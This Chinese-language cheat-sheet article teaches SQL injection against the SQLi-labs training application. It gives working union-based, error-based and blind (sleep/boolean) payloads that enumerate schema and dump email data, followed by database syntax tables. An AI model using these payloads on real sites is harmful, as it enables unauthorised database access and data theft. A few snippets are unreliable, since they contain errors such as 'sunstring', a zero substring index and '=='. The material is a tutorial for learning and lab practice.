下载SQL注入备忘单PDF以供快速参考
对网络安全职业感兴趣吗?使用这张SQL注入攻击速查表了解最常见的网络攻击之一
2023年,网络攻击风险四处可见。此类攻击破坏宝贵数据的完整性和可靠性,使网络安全比以往任何时候都更为重要。SQL注入是常见的一种网络攻击类型,它操纵数据库并试图访问存储的信息。如果您的网站存储了重要的用户信息,这种攻击更加普遍。
IT专业人员必须学会分析被篡改的数据,包括学习有用的事实和快捷方式。这就是为什么我们为您提供了这份SQL注入速查表的原因。在这份速查表里,您将找到常见的SQL注入命令、SQL注入代码列表等等。
使用这份SQL注入攻击速查表,了解SQL注入漏洞的不同变种。
但在我们继续之前,让我们讨论一下SQL注入攻击。
什么是SQL注入攻击?
SQL注入也被称为SQLi。在SQLi注入攻击中,一种常见的网络攻击向量注入恶意SQL代码,有意地攻击、访问和修改网站的后端数据库。
在这种攻击中,黑客试图访问机密数据,例如银行详细信息、个人信息、用户名、密码等。一旦他们访问了数据,他们可能会更改或窃取它,给您的业务和客户带来巨大的安全损害和风险。
接下来,让我们看一下不同类型的SQL注入,以便更好地了解这种攻击的工作原理以及攻击者可能攻击数据库的地方。
不同类型的SQL注入攻击
以下是一些不同类型的SQL注入攻击。
- 同频SQLi(经典):攻击者使用相同的通信渠道发动攻击并收集结果。这是最常见的SQLi攻击之一,因为它很容易实施。同频SQLi攻击还有几个子变体:
- 基于错误的SQLi:攻击者对数据库执行某些操作,产生错误消息。然后,他们可以使用这些错误消息提取数据,比如数据库结构。
- 基于联合的SQLi:该技术使用UNION SQL操作符,将多个选择语句组合成一个单独的HTTP响应,其中包含对攻击者有益的数据。
- 推理型SQLi(盲注):在这种类型的攻击中,攻击者向服务器发送SQL注入数据负载,并分析服务器的响应和行为,以了解数据库的结构。与同频SQLi不同,数据不会从网站数据库传输给攻击者。因此,一个人在同频范围内无法看到提取的数据。盲注SQL注入攻击速查表的构思时,请牢记以下子攻击:
- 布尔型:攻击者向数据库发送一个SQL查询,使应用程序根据查询的真假返回数据。该结果还会影响HTTP响应,并在HTTP响应中添加攻击者使用的信息。
- 基于时间的:攻击者向数据库发送一个SQL查询,使数据库等待作出反应。攻击者将分析数据库所需的时间。然后根据结果,将立即生成或在攻击者使用的等待期之后生成HTTP响应。
- 带外SQLi:此攻击仅在数据库服务器上启用某些功能时才起作用。当上述两种类型的攻击无法奏效时,黑客会进行带外SQLi攻击。此攻击依赖于服务器创建DNS或HTTP请求以将数据传输给攻击者的能力。
现在,我们将看一些SQL注入攻击的示例。
SQL注入示例
为了进行这些示例,我们使用来自Audi1的SQLi-lab系列的源代码,您可以在此处找到该源代码以重新创建SQLi攻击。主要目的是访问存储在数据库中的数据。
接下来,我们将提供一个联合SQL注入速查表,该速查表将使用后端SQL语句来匹配查询。这意味着SQLi攻击过程是多样化的。任何应用程序上的两个重要因素有助于SQLi攻击向量的攻击:
- 显示的SQL错误。
- 显示的SQL输出。
基于联合的SQLi
基于联合的SQLi是同频SQLi的一种,在所有类型的SQLi中最简单,因为攻击者可以很容易地通过SQL错误理解后端查询并查看查询的输出。
该网站看起来没有注入的代码,如下所示:
你可以使用基于联合的SQL注入轻松影响该网站。
首先,我们将在URL中添加 ‘?id=1’ 来获取正常的结果:
URL: http://localhost:8081/sqli-labs/Less-1/?id=1
该网站正常工作。但是现在,我们将添加恶意代码来黑掉该网站。
首先,想象一下开发人员在应用程序的后端可能使用了什么。在这里,我们假设开发人员可能使用以下SQL语句结构来试探方法。
SELECT <col_1>, <col_2>, ..., <col_n> FROM <database_name>.<table_name> WHERE <username> = '<user_input>' AND <password> = '<user_password>' LIMIT 0,1
但是,在继续之前,请确保您对SQL有扎实的了解。
在上面的示例中,尖括号中使用的词尚未确认。剩下的部分是可能根据数据库类型而有所不同的语法和语言关键字。
现在,我们将通过添加单引号(’),双引号(”)或转义字符(SQL中的反斜杠(\))来破坏SQL语句。
通常,在SQL语句中,单引号或双引号会括住用户的输入字符串。但是,如果我们在查询中间使用其中任何一个,它将打破SQL语句的平衡并在屏幕上导致错误。
URL: localhost:8081/sqli-labs/Less-1/?id=1\
正如您所见,您将获得一个错误。所以,你必须检查是哪个符号(’,”,\)导致了这个错误。现在,我们将在简单参数中插入一个恶意的SQL查询。但首先,我们必须确保代码是平衡的以便执行。
例如,如果开发人员使用了括号,我们也必须添加括号来平衡代码。您还可以添加注释字符以平衡语句。
URL: localhost:8081/sqli-labs/Less-1/?id=1’–+
为了平衡代码,您需要知道表的列数,这将帮助您在与原始输出进行联合后转储查询结果。
要找出列数的最大值以获得成功的结果,您需要从小到大开始。对于这个网站,我们使用了最大的列数:三。
URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+3–+
在上面的图片中,请注意URL中的 ‘%27’ 是 URL编码的单引号(’), ‘+’用于表示空格。 我们收到了超过最大列数的错误。 现在,我们尝试第4列。
URL:localhost:8081/sqli-labs/Less-1/?id=1’+order+by+4–+
将 ‘ORDER BY’ 子句替换为 ‘UNION’ 子句后,我们可以在屏幕上倾倒数据。
URL:localhost:8081/sqli-labs/Less-1/?id=1’+union+select+1,2,3–+
现在,我们已经将列值硬编码为要联接的值,以查看是否倾倒了值。
在两个表联接中,两个表的列数应该相等。但是这里是三。我们已将有效 id 替换为无效 id 以显示数据。现在,在联接之后,我们只剩下一行,这将是我们注入查询的输出。
URL:localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,2,3–+
在这里,我们使用了 -1 使 id 无效,因此我们的数据(’2′ 和 ‘3’)现在被显示,而不是原始数据。现在,我们将使用数据库函数从数据库中提取信息。
URL:localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,database(),3–+
在上面的URL中,我们在注入查询中使用了 ‘database()’ 函数,用于获取当前数据库名称,即 ‘security’。下面,我们列出了一些常见的SQL函数来提取信息。
- version():获取当前SQL版本。
- @@datadir:获取SQL数据库所在的目录。
- User() 或 current_user:获取创建或管理数据库的用户。
假设您想提取表名、列名和字段信息。在这种情况下,您可以使用名为 ‘information_schema’ 的数据库中的特定表,它维护了所有用户创建的数据库、表和列的元数据。
我们将使用以下查询来提取当前数据库中的表。
SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;
这将返回当前数据库中的表名,可以通过增加 LIMIT 子句后的第一个参数来增加。
URL:localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1–+
您还可以使用 ‘information_schema’ 数据库中的 ‘columns’ 表来获取指定表的列名。
SELECT column_name FROM information_schema.columns WHERE table_name = <specific_table_name> LIMIT 0,1;
与表名类似,您还可以从指定表中获取列名,并迭代表 ‘columns:’ 的所有行:
URL:localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+
来自名为‘security’的数据库的表‘emails’的第一列名为‘id’。同样,第二列名为‘email_id’。
现在,我们将注入以下SQL语句。
SELECT email_id FROM emails LIMIT 0,1
然后,你将得到以下输出。
URL:localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,email_id,3+from+emails+limit+0,1–+
通过这种方式,你可以注入查询以访问存储在数据库中的数据。
Error-Based SQLi
这种类型的攻击会提供错误消息而不是输出,因此你只需在SQL错误中注入恶意代码。请参见下面的示例图片:
URL:localhost:8081/sqli-labs/Less-5/?id=1
为了在屏幕上显示SQL错误,你可以使用单引号或双引号。
URL:localhost:8081/sqli-labs/Less-5/?id=1’
这种方法与基于联合的SQLi相同。唯一的区别在于你只能运行特定的查询。触发SQL错误以倾倒查询输出的语句将会有些复杂。
SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;
我们将上面的查询拆分成子查询来更好地理解:
恶意代码是‘SELECT database()’,它会显示当前数据库的名称,但在SQL错误中。在这里,我们将取多个可能重复的行,并尝试将它们适应一个数据包或视图中。如果有重复的行,由于插入了重复项,你将获得SQL的运行时错误和所需的输出。
一旦你理解了这个复杂查询的工作原理,你可以用更复杂的查询替换‘SELECT database()’部分。我们解释了上述复杂查询的子查询。
- SELECT database():
获取当前数据库的名称。你可以将其替换为其他查询。
- floor(rand() * 2):
获取一个随机数,要么是零要么是一。
- CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) ):
它将在数据库名称的左侧和右侧分别连接两个冒号,并在其末尾随机添加0或1。
- SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a
在‘select’和‘from’之间的查询部分将根据信息模式中的列表的行数迭代多次。我们有意地迭代它以生成重复的行以生成运行时错误。查询的这部分将根据之前连接结果和连接的部分选择按‘a’进行分组的行数。
SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;
现在,我们只是将先前的查询嵌套到另一个select语句中,以获取一个列。我们不希望它返回的结果,所以我们将其硬编码为1,因为我们只需要SQL错误。
此外,还有一个“b”来给嵌套查询的别名,并返回一行。
URL:localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+
如果没有重复,您将收到以上错误。我们将忽略它并继续刷新页面尝试。
URL:localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+
通过这种方式,您将在两侧的冒号之间获得数据库的名称,并且还可以从数据库中提取其他数据。
Blind SQL Injection Cheat Sheet
这里的方法也是相同的,但带有一个小小的额外技巧。
URL:localhost:8081/sqli-labs/Less-8/?id=1’
在检查上面的图像时,您会发现没有错误消息,SQL查询也没有输出。从这里开始,您可以注入数据。为此,我们将使用sleep()函数或布尔表达式来获得真或假的结果。我们将按照下面解释的两种不同方法来实施。
基于时间延迟:
使用sleep()函数,我们将在SQL查询的响应中创建一个以指定时间为参数的延迟。
基于布尔:
您还可以通过一些肯定的消息推断出真或假的输出,如果查询成功运行会有通用消息,否则没有。为此,您需要首先创建一个真陈述并检查是否获得通用消息。然后,您可以添加我们的查询来查看是否仍然获得消息,这意味着它是真的,否则是假的。
现在,我们的任务是将表或数据库转换为生成真或假的查询。您可以使用`sunstring()`函数来获取给定字符串的子字符串以创建布尔查询。`sunstring()`函数接受三个参数,原始字符串、子字符串的起始索引(索引从一开始计数)和用于标记的多个字符。
sunstring (<original_string>, <starting_index>, <number_of_characters>)
为了包含条件语句,您还可以使用`if()`语句,其第一个参数是条件,第二个参数是真条件的任务,第三个参数是假条件的任务。
if(<condition>, <query1>, <query2>)
因此,我们可以迭代字母或数字,以查看是否满足条件。
在这种情况下,我们已经有了数据库名称(’security’),因此我们可以使用以下查询:
if( (substring(database(), 0, 1) == 's'), sleep(5), null)
我们使用了值为5的sleep函数。如果数据库名称的第一个字符是 ‘s’,则会延迟数据库回复5秒钟,否则我们什么也不做。在这种情况下,您将按计划延迟5秒钟获得响应。
URL:http://localhost:8081/sqli-labs/Less-8/?id=1’+and+if( (substring(database(),1,1) = ‘s’),sleep(5),null)–+
在布尔型中,你要么会得到一条消息,要么什么都不会得到。如果你得到了消息,则查询返回true,否则返回false。
1′ and (substring(database(), 1, 1) = ‘s’) –+
URL: localhost:8081/sqli-labs/Less-8/?id=1’+and+(substring(database(), 1, 1) = ‘s’)–+
这种方法很棘手,因为你必须尝试每种可能性,这会占用大部分你的时间。另一种效率较低的方法是使用’ascii()’函数将字符转换为ascii码以进行数字比较,因此可以使用关系运算符。
if( (ascii(substring(database(), 0, 1)) = 115), sleep(5), null )
SQL注入指令
上面,我们已经介绍了一些在进行SQL注入攻击时有用的语法。以下是一些常用的SQL注入指令:
字符串连接
这个指令将多个字符串连接成一个字符串。
Oracle |
‘hel’||’met’ |
Microsoft |
‘hel’+’met’ |
PostgreSQL |
‘hel’||’met’ |
MySQL |
‘hel’ ‘met’ [注意两个字符串之间的空格] CONCAT(‘hel’,’met’) |
子字符串
这个指令给出了字符串的指定部分。
Oracle |
SUBSTR(‘helmet’, 4, 2) |
Microsoft |
SUBSTRING(‘helmet’, 4, 2) |
PostgreSQL |
SUBSTRING(‘helmet’, 4, 2) |
MySQL |
SUBSTRING(‘helmet’, 4, 2) |
注释
这个指令将代码的部分从执行中移除。
Oracle |
–注释 |
Microsoft |
–注释 /*注释*/ |
PostgreSQL |
–注释 /*注释*/ |
MySQL |
#注释 — 注释 [注意双短线后面的空格] /*注释*/ |
数据库版本
获取当前数据库的版本。
Oracle |
SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft |
SELECT @@version |
PostgreSQL |
SELECT version() |
Leave a Reply